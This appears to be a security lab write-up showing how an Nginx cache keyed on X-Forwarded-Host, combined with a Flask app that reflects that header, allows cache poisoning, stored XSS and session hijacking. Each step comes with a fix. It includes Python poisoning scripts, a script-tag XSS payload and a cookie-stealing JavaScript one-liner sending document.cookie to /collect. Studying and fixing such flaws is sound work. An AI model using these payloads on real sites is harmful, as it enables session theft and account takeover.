Web Cache Poisoning → Stored XSS → Credential Hijacking

Prepared by: *Robel Zeradawit*

Description

This project demonstrates how improper cache configuration in Nginx reverse proxy combined with unsafe header handling in a Flask application allows an attacker to poison the cache with a malicious JavaScript payload. The payload is then served to other users, resulting in session cookie theft.

Stack

- Nginx (reverse proxy + cache)
- Flask (backend application)
- Browser + curl (clients)
- Docker

Vulnerable Components

- Cache key includes attacker-controlled headers
- Unsafe reflection of X-Forwarded-Host
- Conditional cache-control misuse

How to Run

1. Start Flask app
2. Start Nginx reverse proxy
3. Run exploit script to poison cache
4. Visit /profile-public from another browser
5. View stolen cookies at /collect

Vulnerability Documentation (Per Vulnerability)

👉 Vulnerability #1: Web Cache Poisoning

1. Vulnerability Name

Web Cache Poisoning via Attacker-Controlled Headers

This vulnerability occurs because the Nginx reverse proxy uses attacker-controlled HTTP headers as part of its cache key. By manipulating headers such as X-Forwarded-Host, an attacker can influence what content is stored in the cache. Since the cached response is later served to other users, the attacker is able to inject and persist malicious content across multiple clients. This flaw allows untrusted input to be cached globally, enabling further attacks such as stored XSS.

2. Location in Code

Nginx configuration

```
proxy_cache_key
"$scheme$host$request_uri$http_x_forwarded_host";
```

Flask

```
poison = request.headers.get('X-Forwarded-Host')
```

3. Why It Is Vulnerable (Technical Root Cause)

- The cache key includes X-Forwarded-Host
- This header is ***fully attacker-controlled***
- Nginx treats different header values as distinct cache entries
- Flask does not validate or normalize the header

An attacker can therefore insert arbitrary content into a cached response.

4. Proof of Concept Explanation

1. Attacker sends a request with a malicious X-Forwarded-Host
2. Nginx caches the response using this header
3. Cache now contains attacker-influenced content
4. Subsequent users receive the poisoned response

5. Exploit Script (Python)

```
import requests


url = "http://localhost:8080/profile-public"
headers = {
    "X-Forwarded-Host": "evil",
    "Accept-Encoding": "gzip"
}
requests.get(url, headers=headers)
requests.get(url, headers=headers)


print ("[+] Cache poisoned")
```

6. Impact

- Attacker-controlled content stored in cache
- Affects all users
- Enables stored attacks

7. Fix Recommendation

- Remove user-controlled headers from cache key

```
proxy_cache_key "$scheme$host$request_uri";
```

👉 Vulnerability #2: Stored Cross-Site Scripting (XSS)

1. Vulnerability Name

Stored XSS via Unsafe Header Reflection

The application reflects the value of the X-Forwarded-Host header directly into an HTML template without any sanitization or output encoding. Because this value is attacker-controlled and rendered as part of the page content, it allows arbitrary JavaScript to be injected into the response. When combined with caching, the malicious script becomes stored and is automatically executed in the browsers of all users who load the affected page, resulting in a stored XSS vulnerability.

2. Location in Code

Flask

```
region=poison    # injected into template
```

Jinja Template

```
{{ region }}
```

3. Why It Is Vulnerable (Technical Root Cause)

- User-controlled data is injected into HTML
- No output encoding or sanitization
- JavaScript executes in victim's browser

4. Proof of Concept Explanation

1. Attacker injects <script> via header
2. Payload stored in cache
3. Victim loads page
4. Script executes automatically

5. Exploit Script (Python)

```
import requests


payload = '<script>alert(1)</script>'

headers = {"X-Forwarded-Host": payload}


requests.get("http://localhost:8080/profile-public",
headers=headers)
```

6. Impact

- Arbitrary JavaScript execution
- Session theft
- Account takeover

7. Fix Recommendation

- Escape output in templates

```
{{ region | e }}
```

- Never trust headers

👉 Vulnerability #3: Credential / Session Hijacking

1. Vulnerability Name

Session Hijacking via XSS

The application's session cookies are accessible via JavaScript because they are not protected with the HttpOnly flag. When the stored XSS payload executes in a victim's browser, it can read document.cookie and exfiltrate the session identifier to an attacker-controlled endpoint. This enables session hijacking, allowing the attacker to impersonate the victim and gain unauthorized access to their account without needing credentials.

2. Location in Code

Session cookie configuration

```
response.set_cookie("session", value)
```

3. Why It Is Vulnerable (Technical Root Cause)

- Session cookie lacks `HttpOnly`
- JavaScript can access `document.cookie`
- XSS allows cookie exfiltration

4. Proof of Concept Explanation

1. Stored XSS executes
2. `document.cookie` accessed
3. Cookie sent to /collect
4. Attacker reuses session

5. Exploit Script (JavaScript Payload)

```
new Image().src="/collect?c="+document.cookie;
```

Delivered via cache poisoning.

6. Impact

- Full account compromise
- Privilege escalation
- Persistent access

7. Fix Recommendation

```
response.set_cookie("session", value, httponly=True)
```

Also:

- Use `SameSite`
- Use `Secure`